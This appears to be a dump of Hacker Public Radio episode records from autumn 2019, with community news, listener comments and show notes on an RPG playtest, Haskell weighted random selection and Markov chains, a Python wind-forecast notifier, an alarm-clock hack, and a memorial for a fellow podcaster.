                                                            2891Mon2019-09-02HPR Community News for August 2019HPR Volunteers
                                                            2892Tue2019-09-03Stardrifter RPG Playtest Part 02lostnbronx
                                                            2893Wed2019-09-04Whats in the box! Part 2NYbill
                                                            2894Thu2019-09-05Repairing a Musical Instrument CaseJon Kulp
                                                            2895Fri2019-09-06The work of fire fighters, part 2Jeroen Baten
                                                            2896Mon2019-09-09Orange PI Zero LTS versionJWP
                                                            2897Tue2019-09-10Stardrifter RPG Playtest Part 03lostnbronx
                                                            2898Wed2019-09-11Modeling people in space gameTuula
                                                            2899Thu2019-09-12Endeavour OSTony Hughes AKA TonyH1212
                                                            2900Fri2019-09-13Better Social Media 01 - IntroductionAhuka
                                                            2901Mon2019-09-16Describing how I listen to podcasts PART 3MrX
                                                            2902Tue2019-09-17Stardrifter RPG Playtest Part 04lostnbronx
                                                            2903Wed2019-09-18What is PMEMJWP
                                                            2904Thu2019-09-19DIY URL shorteningklaatu
                                                            2905Fri2019-09-20Two HPR hosts living in the same region finally meet up!Dave Morriss
                                                            2906Mon2019-09-23Feature Engineering for Data-Driven Decision MakingMr. Young
                                                            2907Tue2019-09-24Stardrifter RPG Playtest Part 05lostnbronx
                                                            2908Wed2019-09-25Modeling opinions in space gameTuula
                                                            2909Thu2019-09-26ONICS Basics Part 3: Networking FundamentalsGabriel Evenfire
                                                            2910Fri2019-09-27Better Social Media 02 - PlusporaAhuka
                                                            2911Mon2019-09-30my internet connectionJezra
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 17 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr1328\n(2013-09-04) \"A Hacker's Perspective On Schizophrenia \"\nby sigflup.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nVegewurst on 2019-09-06:\n\"Insightful\"

                                                              \n
                                                            • hpr2844\n(2019-06-27) \"The Sony TC-222-A Portable Reel-To-Reel Tape Recorder\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMichael on 2019-09-29:\n\"Muffled sound because of low path filtering.\"

                                                              \n
                                                            • hpr2881\n(2019-08-19) \"Automatically split album into tracks in Audacity\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nHipstre on 2019-09-01:\n\"2881 - Audacity: Split Album into Tracks\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 14 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2891\n(2019-09-02) \"HPR Community News for August 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-09-02:\n\"Where was Ken ?\"
                                                              • Comment 2:\nJon Kulp on 2019-09-03:\n\"Heroic effort!\"
                                                              • Comment 3:\nDave Morriss on 2019-09-04:\n\"Thanks Jon\"

                                                              \n
                                                            • hpr2893\n(2019-09-04) \"Whats in the box! Part 2\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ntimttmy on 2019-09-05:\n\"Trem pedal\"
                                                              • Comment 2:\nJon Kulp on 2019-09-06:\n\"No delay\"
                                                              • Comment 3:\nNYbill on 2019-09-07:\n\"Hit and Miss\"

                                                              \n
                                                            • hpr2895\n(2019-09-06) \"The work of fire fighters, part 2\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-09-06:\n\"Very dissapointed\"
                                                              • Comment 2:\nSteve on 2019-09-10:\n\"Volunteer Firefighters\"

                                                              \n
                                                            • hpr2903\n(2019-09-18) \"What is PMEM\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2019-09-27:\n\"Awesome\"

                                                              \n
                                                            • hpr2904\n(2019-09-19) \"DIY URL shortening\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2906\n(2019-09-23) \"Feature Engineering for Data-Driven Decision Making\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2019-09-27:\n\"Nice show\"

                                                              \n
                                                            • hpr2907\n(2019-09-24) \"Stardrifter RPG Playtest Part 05\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2019-09-27:\n\"Nice series\"

                                                              \n
                                                            • hpr2909\n(2019-09-26) \"ONICS Basics Part 3: Networking Fundamentals\"\nby Gabriel Evenfire.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2019-09-27:\n\"Interesting\"

                                                              \n
                                                            • hpr2910\n(2019-09-27) \"Better Social Media 02 - Pluspora\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2019-09-27:\n\"Nice show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: windigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 1 show which was without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n

                                                            Change to the Missing Tags document

                                                            \n

                                                            The section of this document which lists all of the tags currently in the system has been made more accessible. If you know of a tag in the system and you want to find out how many instances there are and which shows use them you can construct a query of the form:

                                                            \n
                                                            https://hackerpublicradio.org/report_missing_tags.php#vim
                                                            \n

                                                            This would look for the tag 'vim' and position the page at the relevant place.

                                                            \n

                                                            If the tag you are looking for contains spaces, you need to replace them with underscores. So to look for the tag 'vietnamese stringed instruments' your query would have to be:

                                                            \n
                                                            https://hackerpublicradio.org/report_missing_tags.php#vietnamese_stringed_instruments
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2917,"date":"2019-10-08","title":"Stardrifter RPG Playtest Part 07","duration":1685,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            This episode is Part 7 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.

                                                            \n

                                                            This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.

                                                            \n

                                                            In this part, the characters make some new friends who show them their guns! Bonus Fun: I make tons of mistakes reading my own rules!

                                                            \n

                                                            Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2918,"date":"2019-10-09","title":"Selecting random item from weighted list","duration":1604,"summary":"How to selected random item from weighted list using Haskell","notes":"

                                                            Intro

                                                            \n

                                                            We’re going to have a look how to select random item from weighted list. There isn’t that much code this time, but it certainly took many tries to get it working and looking nice.

                                                            \n

                                                            Analogy

                                                            \n

                                                            Imagine stack of building blocks of different heights stacked on top of each other. Height of the each block is chance of how often it will be selected. Selection is done by chopping a stick so that its length at maximum is height of the stack. Place stick next to the stack and select the block that stick reaches at.

                                                            \n

                                                            Explanation of algorithm

                                                            \n

                                                            We have list of items and associated weight, defined as Frequency a = Frequency Int a.

                                                            \n

                                                            Total is sum of all the weights and we select a random number n between 1 and total.

                                                            \n

                                                            pick function has signature of [Frequency a] -> n -> Maybe a. Empty list will result Nothing. When picking item, if n is equal or less than weight of the first item, return that item. Otherwise, drop the first item, subtract weight of that first item from n and try again. Eventually we either arrive to item which weight is greater than n or to empty list.

                                                            \n

                                                            Quick detour on random number generators

                                                            \n

                                                            Haskell functions are pure, meaning that with same input, you are guaranteed to get the same output (safe for some specific cases). Which makes concept of random numbers at first glance to be impossible. This is solved by passing in a random number generator, which can supply you a random value a new random number generator. Using this new random number generator to generate a value yields you a yet another value and yet another random number generator.

                                                            \n

                                                            Passing these random number generators around in code gets tedious, but there’s different solution: MonadRandom. Using it will thread along generators automatically behind the scenes, ensuring that you always have access to a fresh generator. There’s several functions that can be used to generate random values, but we’re using this one: getRandomR :: Random a => (a, a) -> m a. Given a lower and upper bound, it will return you a random value wrapped in context that carries that new random number generator.

                                                            \n

                                                            In the end, we need to take our computation (that can be complex and use multiple calls to random number generator) and turn that m a into a. This is done with runRand :: RandomGen g => Rand g a -> g -> (a, g). We give it our computation and a RandomGen g that can generate random values and receive (a, g) where a is our result and g new random number generator. In cases where we aren’t going to use the new generator, we can use evalRand :: RandomGen g => Rand g a -> g -> a, which discards it and returns just a.

                                                            \n

                                                            Actual implementation with explanation

                                                            \n

                                                            First, Frequency for expressing weight of individual item. It’s parametrized, so can be used with any data.

                                                            \n
                                                            data Frequency a = Frequency Int a\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Next, determining which item to choose, based on stack and measuring stick. In case a value outside of valid range has been selected, we end up with Nothing, otherwise with Just a. First case is for empty list (either we called this originally with empty list or picked number that is greater than total sum of weights), second one either picks the first item of list or recursive calls itself removing first item.

                                                            \n
                                                            pick :: [Frequency a] -> Int -> Maybe a\npick [] _ = Nothing\n\npick (Frequency x item:xs) i\n    | i <= x = Just item\n    | otherwise = pick xs (i - x)
                                                            \n

                                                            Finally, function for calculating total of weights and choosing random number. We’re using that Rand g (Maybe a) I explained earlier. First case is for empty list again and latter case for list with at least one item.

                                                            \n
                                                            choose :: RandomGen g => [Frequency a] -> Rand g (Maybe a)\nchoose [] =\n    return Nothing\n\nchoose items = do\n    let total = sum $ fmap (\\(Frequency x _) -> x) items\n    n <- getRandomR (1, total)\n    return $ pick items n
                                                            \n

                                                            Notice how we can get random number by n <- getRandomR (1, total), without talking about generators. MonadRandom is handling generators and making sure that there’s always a fresh generator available and new generator is stored ready to be used.

                                                            \n

                                                            And that’s all the code this time (I told the amount of code is small this time).

                                                            \n

                                                            In closing

                                                            \n

                                                            This probably sounds a lot more complicated than it actually is. I arrived to the result after quite many detours, but the end result looks pretty nice.

                                                            \n

                                                            Next time we’re going to have a look where to use our choose function.

                                                            \n

                                                            In the meantime, questions, comments and feedback are welcomed. Best way to reach me is email or fediverse where I’m Tuula@mastodon.social. Or even better, record your own Hacker Public Radio episode.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, random, monad","version":0,"downloads":0,"valid":1}, {"id":2919,"date":"2019-10-10","title":"hosting software in HPR show notes","duration":626,"summary":"boats are awesome, but might lead to hosting software in the HPR show notes ","notes":"
                                                            #!/usr/bin/env python\nimport urllib.request\nimport json\nimport re\nimport subprocess\n\n# see https://www.weather.gov/documentation/services-web-api\n\n#where are we? GPS coordinates\nlat = 39.275235\nlon = -120.9199507\n#what is the user agent string?\nagent = "Jezra's fun lil script"\n#minimum wind speed in mph?\nmin_speed = 9\n\ndef get_api_data(endpoint):\n  print(endpoint)\n  #prepare the connection with custom headers\n  request = urllib.request.Request(endpoint, headers={"User-Agent":agent})\n  #create a handler for the request\n  handler = urllib.request.urlopen(request)\n  #get the text\n  text = handler.read()\n  #parse the json text to a python object\n  obj = json.loads(text)\n  return obj\n\ndef wind_is_good(s):\n  #use regex to find the matches\n  matches = re.findall("[0-9]+",s)\n  for match in matches:\n    #convert string to int\n    m = int(match)\n    #is the speed good?\n    if(m>=min_speed):\n      return True\n  #if we get here, there is no match :(\n  return False\n\nstart_url = "https://api.weather.gov/points/{0},{1}".format(lat,lon)\n#get the json response from the start_url as a python object\nobj = get_api_data(start_url)\n\n#get the forecast url from the returned data\nforecast_url = obj['properties']['forecast']\n\n# process the forecast url\nforecast = get_api_data(forecast_url)\n\n#loop through the forcast periods\nfor period in forecast['properties']['periods']:\n  #put name and windspeed into easier to handle variable names\n  name= period['name']\n  wind = period['windSpeed']\n  print (name, wind)\n  #check the wind speed\n  if wind_is_good(wind):\n    subprocess.call(["textjezra","{0}: {1}".format(name,wind)])\n
                                                            \n","hostid":243,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"canoe, ptython, api, weather","version":0,"downloads":0,"valid":1}, {"id":2920,"date":"2019-10-11","title":"Better Social Media 03 - MeWe","duration":729,"summary":"MeWe was advertised as another popular alternative to Google Plus.","notes":"

                                                            MeWe is another platform that was advertised to users left high-and-dry by the closure of Google Plus. It is not federated, but does make strong claims of privacy protection, and is the slickest alternative I have seen to Google Plus. So when Google Plus disappeared, many people moved over to this platform. https://www.zwilnik.com/?page_id=1030

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative","version":0,"downloads":0,"valid":1}, {"id":2921,"date":"2019-10-14","title":"Geocaching with the family","duration":2916,"summary":"Dave and his family take a wander around a wood looking for Geocaches","notes":"

                                                            In this episode, Dave and his family wander the paths of Sandall Beat Wood in Doncaster to participate in the game of Geocaching. During this time, which demonstrates an unusual level of failure in us playing the game, we try and explain what the game is all about.

                                                            \n

                                                            No, not The Game...

                                                            \n

                                                            As I explain at the beginning of the episode, this is a fairly long episode which hasn't been edited down much, so there are a lot of ambient pauses and heavy breathing to be enjoyed.

                                                            \n

                                                            Recorded in the field on my Olympus DM-3 voice recorder.

                                                            \n

                                                            Caches explored

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":314,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"geocaching, outdoors, family","version":0,"downloads":0,"valid":1}, {"id":2922,"date":"2019-10-15","title":"Stardrifter RPG Playtest Part 08","duration":1967,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            This episode is Part 8 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.

                                                            \n

                                                            This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.

                                                            \n

                                                            In this part, the characters reevaluate their life choices, and decide that negotiation is the better part of valor!

                                                            \n

                                                            Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2923,"date":"2019-10-16","title":"Describing how I listen to podcasts PART 5","duration":1750,"summary":"In this episode I cover how I use my 2nd add on board the PiFace Control and Display","notes":"

                                                            Below are examples of messages shown on the screen during operation

                                                            \n

                                                            System Up (Unfortunately I didn’t get a picture of this message)

                                                            \n

                                                            \"Picture
                                                            \nShows the unit waiting to get a wi-fi connection and get given an IP address.

                                                            \n

                                                            \"Picture
                                                            \nUnit goes to the HPR site and gets the number of days to free slot in the show queue. At the time when I took the picture the queue had a healthy 22 shows!

                                                            \n

                                                            Links to three previous shows I did that mention the Blinkstick

                                                            \n
                                                              \n
                                                            1. Solving a problem I had with my Blinkstick
                                                              \nhttps://hackerpublicradio.org/eps.php?id=2089

                                                            2. \n
                                                            3. Tracking the HPR queue using python and a Blinkstick
                                                              \nhttps://hackerpublicradio.org/eps.php?id=2340

                                                            4. \n
                                                            5. Follow on to HPR2340 (Tracking the HPR queue in Python)
                                                              \nhttps://hackerpublicradio.org/eps.php?id=2344

                                                            6. \n
                                                            \n\n

                                                            \"Picture \"Picture
                                                            \nMenu 0 Podcasts screens

                                                            \n
                                                            0 [PODCASTS]\n0 1 <|| PLAY/PAUSE (Toggles moc between play and Pause)\n0 2 <<  INFORMATION(Displays information about the current track)\n0 3 <<  (Move to previous track in playlist)\n0 4 <<  (Move to next track in playlist)\n0 5 LIGHT (Toggle back-light on LCD screen)\nPUSH IN TOP TOGGLE BUTTON (Seek forward or back in current track)
                                                            \n

                                                            \"Picture \"Picture
                                                            \nMenu 1 Audiobooks screens

                                                            \n
                                                            1 [AUDIOBOOKS]\n1 1 <|| PLAY/PAUSE (Toggles moc between play and Pause)\n1 2 <<  INFORMATION(Displays information about the current track)\n1 3 <<  (Move to previous track in playlist)\n1 4 <<  (Move to next track in playlist)\n1 5 LIGHT (Toggle back-light on LCD screen)\nPUSH IN TOP TOGGLE BUTTON (Seek forward or back in current track)
                                                            \n

                                                            \"Picture \"Picture
                                                            \nMenu 2 System screens

                                                            \n
                                                            2 [SYSTEM]\n2 1 Sys Information (System information)\n2 2 WiFi (Displays WiFi inofrmation such SSID & signal strength)\n2 3 HPR (Displays the number days to the next free slots on FPR que)\n2 4 Not shown, (Not in use)\n2 5 LIGHT (Toggle back-light on LCD screen)\nPUSH IN TOP TOGGLE BUTTON (Shut-down the Raspberry Pi)
                                                            \n

                                                            Infra-red Sensor

                                                            \n\n

                                                            \"Picture
                                                            \nInfra-red sensor turned on

                                                            \n

                                                            \"Picture
                                                            \nInfra-red sensor turned off

                                                            \n\n

                                                            \"Picture
                                                            \n\"Picture
                                                            \nExample of a message being sent to the unit telling me that a backup is complete. The bright pink LED on the Blinkstick lets me know at a glance that a message has been sent to the display.

                                                            \n\n

                                                            \"Picture
                                                            \n\"Picture
                                                            \n\"Picture
                                                            \nA flavour of what information is shown when the information button 2 is pushed. The picture showing the title scrolling from right to left was blurred so I didn’t include this.

                                                            \n

                                                            \"Picture
                                                            \nThe menu displayed during seek, this in initiated by pushing and releasing the toggle button while either in the Podcasts main menu 0 or Audio book main menu 1.

                                                            \n

                                                            \"Picture
                                                            \nThe shut-down menu this in initiated by pushing and releasing the toggle button while in the System main menu 2.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Command Line, Python, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2924,"date":"2019-10-17","title":"Hacking an Alarm Clock to Make it Quieter","duration":365,"summary":"I talk about installing a resistor in the speaker wire of an alarm clock so it won't be so loud","notes":"

                                                            The alarm clock on my bedside table had a very loud alarm—so loud that it scared me and made my heart race when it went off. I know you're thinking I should just use an alarm on my phone, but for whatever reason I wanted to use the alarm clock. In this episode I talk about installing a resistor in the speaker wires of the alarm clock so that it won't be so loud when it goes off. It's all good now. Loud enough to wake me up, but not so loud that it scares everyone.

                                                            \n\n

                                                            \"Alarm

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"clocks, electronics, decibels, noise levels, alarm clocks, alarms","version":0,"downloads":0,"valid":1}, {"id":2925,"date":"2019-10-18","title":"LinuxLugCast's Memorial for FiftyOneFifty ","duration":7541,"summary":"We are here tonight to share memories of our friend Donald Grier aka FiftyOneFifty.","notes":"

                                                            LinuxLugCast Memorial

                                                            \n\n

                                                            We are here tonight to share memories of our friend Donald Grier aka FiftyOneFifty

                                                            \n

                                                            Fifty was involved with many podcast over the years

                                                            \n\n

                                                            Shared thoughts and memories:
                                                            \nKen Fallon

                                                            \n

                                                            I was in the back room pottering away when espeak notified me that 5150
                                                            \nhad passed away. I went back to the computer and read the announcement
                                                            \nin the IRC Logs and confirmed the news. Some dude I had never met, never
                                                            \nseen in my life, and didn’t even know his real name, was gone and I was
                                                            \nin the back room crying my eyes out.

                                                            \n

                                                            Crying for the loss of a friend.

                                                            \n

                                                            When had he become a friend ?

                                                            \n

                                                            People have been socializing since the dawn of humans, be it at the camp
                                                            \nfire, the forge, pub, hairdresser, sports club, church, or wherever.

                                                            \n

                                                            For us it was via Linux podcasting. You are there because you share a
                                                            \ncommon interest. If you were into Linux podcasting then you could not
                                                            \nhelp but get to know fiftyonefifty. The guy turned up everywhere if not
                                                            \non the podcasts themselves he was commenting on them. I have 619
                                                            \nmessages from him about HPR alone.

                                                            \n

                                                            He submitted his first show back in 2010 and has been a regular since
                                                            \nthen. At some point after that I knew that he was on my “special list”
                                                            \nof people who I could rely upon to fill the queue if needed.

                                                            \n

                                                            And as I sat there crying I realized that he had also sneaked onto my
                                                            \nlist of friends.

                                                            \n

                                                            I’ve not always been a fan of the New Year Show, but now I am glad for
                                                            \nit. While I may never get to share a beer with him any more, or take him
                                                            \nup on his promise to let me fire off some rounds on his farm, I did at
                                                            \nleast get to shoot the breeze with him for many a happy hour.

                                                            \n

                                                            Goodbye old friend you will be missed

                                                            \n

                                                            Anonymous
                                                            \nA Ramble for FiftyOneFifty: King of Ramblers

                                                            \n

                                                            I am writing a Ramble for a man I knew only as FiftyOneFifty.  I never knew his real name,
                                                            \nnor do I know if he knew mine.  In many things, Names do not matter, People, Actions, and
                                                            \nfeeling do.   We podcasted together off and on, over several years.  I don’t recall exactly
                                                            \nhow many.   It doesn’t matter now, since they are all that there will ever be.  We grew to be
                                                            \ngood friends.  I never met him in person, online life is like that.  I only know my life would be
                                                            \nmuch poorer, if I had not known him.  Hearing he died, shattered me.  This Ramble is my try
                                                            \nat putting most the pieces back in place.  Of course, nothing can replace the largest piece,
                                                            \nthe Man Himself.  My heart and prayers go out to those friends and family dealing with his loss.

                                                            \n

                                                            His death is a harsh, unchangeable, fact.  I shall focus on his life, and things better remembered
                                                            \nthan the wall we all will hit one day.  Fifty was a man if Life, Joy, and passions.  That is how I shall
                                                            \nwrite of him.  I had a far too short time, to learn about him, and from him.  It will also  warm my heart,
                                                            \nwhere he live yet, and has for a long time.  I learned this fact, only after I could no longer talk with him.

                                                            \n

                                                            I found him easy to talk with, and listen to.  He was also “Vaccinated with a Victrola Needle ”  as
                                                            \nmy relatives might say.  He could ramble on for hours. enjoyably.  He virtually always made sense,
                                                            \neven when in his cups.  He shared himself, his hobbies, experience, and his travels with us, on our
                                                            \npodcasts.  While he went to Linux events, he never limited himself to just linux topics.  He reported the
                                                            \nnon Linux features of events.  This great for choosing family trips to them.   He included accommodations, restaurants, and pubs in the area.  I don’t travel, or drive, so these second hand visit were a delight.

                                                            \n

                                                            His research and Linux activities made up much of his contribution to our podcasts.  He life also
                                                            \nflowed in, to entertain and inform us.  He lived in the country, farming, cows, trouble getting Internet
                                                            \nservice were included.  My parents can off farms, so he even kept my ties to that life alive.  Firearms, cars, especially his beloved Hearse were shared interests.  tale from his tech support work, for businesses and schools enlightened me.  Farmers are natural pack rats, so gathering all sorts of discarded computer gear was natural.   Unfortunately he lost most of it in the fire which destroyed his house.   Losing his house, and even his dear father, never seemed to blight his spirit or life, in the long run.  It would be natural to keep such private matters from more distant friends, as I was.  Nor did his long illness color the side of him I saw.  it got in his way, sometimes,  as I recall, but never in his spirit.  I wish I had been closer, to offer myself more to the man I miss dearly.  I must just try to use his independent example, in my own life.  Anyone could do much, worse.   His quiet touch helped heal me in ways I am only now realizing.

                                                            \n

                                                            I started the day in tears, still aching from losing a rare, true friend.  Then I recalled a song from Toby Keith, called “Cryin’ for Me (Wayman’s Song ) written about he loss of his close friend, Wayman Tisdale.  Toby found about his friends passing on Friday.  On Sunday Toby was driven to write the memorial song.  In it he says his tears are not for his lost friend, who is now in Heaven, but for Toby himself, and all those family, and friends, Wayman left behind.  I believe Fifty is in Heaven, with his Dad, and those who have gone before.  He will see things from the Good Seats.  He can enjoy all the Holidays, and never feel the cold.  I was driven to write like Toby, to handle my own shock and grief.  We Cry and Mourn, those left behind in the Mortal world, for our loss and pain.  Our dear One is beyond pain, perhaps for the first time in years.  He has earned his time in Grace.  He as paid as we pay now, for life beyond grief, with those who have gone ahead.   I hope my words and memories may help  the ones he left behind.  Pain is a Mortal thing. It need not be deadly, or poisonous.  Fifty’s Life is a great example of this and many other things.  I hope we can go forward, with his example helping heal our loss of him.    God Bless You, Fifty, and those you touched in turn.

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"LinuxLugCast, FiftyOneFifty, Memorial, Syndication","version":0,"downloads":0,"valid":1}, {"id":2926,"date":"2019-10-21","title":"Full Circle Magazine","duration":181,"summary":"Just a short show to request support for one of the Linux communities longest standing Magazines","notes":"

                                                            Hi Everyone in HPR land this is Tony Hughes coming to you from Studio B at Woodbrooke Quaker Study Centre in Birmingham in the UK, where I am currently staying for a week of voluntary work.

                                                            \n

                                                            The reason for this short episode is to talk about a community magazine that I have been reading since I started to use Ubuntu Linux back in 2007. Full Circle magazine actually produced a pilot issue in April of 2007 and issue one was issued in June 2007. All issues are published as a free pdf download and all the content is under a Creative Commons licence.

                                                            \n

                                                            Free Circle Magazine initially started as an Ubuntu (and official spins of Ubuntu) magazine but over the years while still being officially about Ubuntu or Linux Distributions based on Ubuntu, many of the articles are applicable to those across the Linux community.

                                                            \n

                                                            Over the years, as well as printing one off articles about individuals’ journey to using Linux, reviews and letters from readers, there have been regular series on topics such as Inkscape, Python programming, Open/LibreOffice, Virtualisation and much more.

                                                            \n

                                                            Sadly after over 12 years of producing a regular monthly magazine for the Linux community some of the regular article series are coming to an end and due to ill health at least one regular writer is not able to contribute at the moment, and this is leaving the magazine short of content and in danger of possibly coming to an end.

                                                            \n

                                                            As a podcast community that is used to the idea of crowd sourced content, many of whom are also Linux users, could I ask that some of you that have read Full Circle, but never contributed, consider sending in some content. It could be an article on how you started using Linux, about some Linux software that you think the readers may be interested in learning more about, or just a letter to Ronnie to say thanks for all his efforts putting out a magazine every month for the last 12+ years.

                                                            \n

                                                            Like many things we often don’t miss them until they are gone, and I would hate to think that Full Circle Magazine is one of those things that I will miss in the future. I have put my money where my mouth is and in coming issues you may see me in print, talking about podcasting. You could even use any writing you do as the base for a HPR show, and achieve two goals in one go.

                                                            \n

                                                            All the best for now.

                                                            \n

                                                            Links

                                                            \n\n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Full Circle Magazine, Ubuntu, Linux, Free Magazine, Creative Commons","version":0,"downloads":0,"valid":1}, {"id":2927,"date":"2019-10-22","title":"Stardrifter RPG Playtest Part 09","duration":1584,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            This episode is Part 9 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.

                                                            \n

                                                            This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.

                                                            \n

                                                            In this part, the characters agree to join someone else’s treasure hunt, with the success (or failure) of their own mission in the balance!

                                                            \n

                                                            Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2928,"date":"2019-10-23","title":"Building markov chains with Haskell","duration":1798,"summary":"How to build markov chains with Haskell","notes":"

                                                            Intro

                                                            \n

                                                            Last time we built a weighted list, this time we’re using that to build markov chains. Wikipedia states that “A Markov chain is a stochastic model describing a sequence of possible events in which the probability of each event depends only on the state attained in the previous event.” and that they’re named after the Russian mathematician Andrey Markov.

                                                            \n

                                                            Configuration

                                                            \n

                                                            We’re after generic system, hence parametrized data types.

                                                            \n

                                                            First part is Configuration a that lists possible starting elements of chain and elements that can follow a particular element.

                                                            \n
                                                            data Config a = Config\n    { configStarts :: ![Item a]\n    , configContinuations :: !(Map a [Item a])\n    } deriving (Show, Read, Eq)
                                                            \n

                                                            Second part is Item a, that just holds single item that could appear in chain and relatively frequency for its appearance.

                                                            \n
                                                            data Item a =\n    Item (Frequency (Maybe a))\n    deriving (Show, Read, Eq)
                                                            \n

                                                            We’re using Maybe a as in some cases there’s chance of element being last element in chain. Thus, Nothing will represent end of chain.

                                                            \n

                                                            In previous episode, we implemented choose, but later on I decided to rename it to chooseM. So when you see chooseM, it’s just different name for what we implemented previously.

                                                            \n

                                                            Building a chain

                                                            \n

                                                            Since building a configuration depends on the case quite a bit, we’re just going to assume that we have one at hand.

                                                            \n

                                                            Our chains are built by chainM :: (Ord a, RandomGen g) => Config a -> Rand g [a]. Given a config, it creates computation that when run will return list of a, which is our chain.

                                                            \n

                                                            Implementation is fairly straightforward:

                                                            \n
                                                            chainM config = do\n    starter <- chooseM (itemToFreq <$> configStarts config)\n    case join starter of\n        Nothing ->\n            return []\n\n        Just h -> do\n            t <- tailOfChain config h\n            return $ h : t
                                                            \n

                                                            First we select item from starting elements. In case there isn’t one, result will be a empty list. Otherwise we use tailOfChain to compute rest of the list and return a list of starter element followed by that tail.

                                                            \n

                                                            For tail we need to figure out first what possible elements there are that can follow a given element. This is done by candidates function. lookup finds a possible list of elements in configContinuations. We use itemToFreq to turn this list into frequencies. Since items might be Nothing (in case where there aren’t any suitable continuations present) and any continuation in the list might be Nothing (in case where this is possibly terminating element), we have to use (fmap . fmap) to apply itemToFreq to each possible element. Moreover, concat turns our Maybe [Frequency (Maybe a)] into [Frequency (Maybe a)], if we have Nothing at this stage, result will be an empty list [].

                                                            \n
                                                            candidates :: (Ord a) => Config a -> a -> [Frequency (Maybe a)]\ncandidates config x =\n    concat $ (fmap . fmap) itemToFreq items\n    where\n        items = lookup x (configContinuations config)
                                                            \n

                                                            That concat part could have been written as:

                                                            \n
                                                                case (fmap . fmap) itemToFreq items of\n        Nothing ->\n            []\n\n        Just x ->\n            x
                                                            \n

                                                            and the end result would be identical.

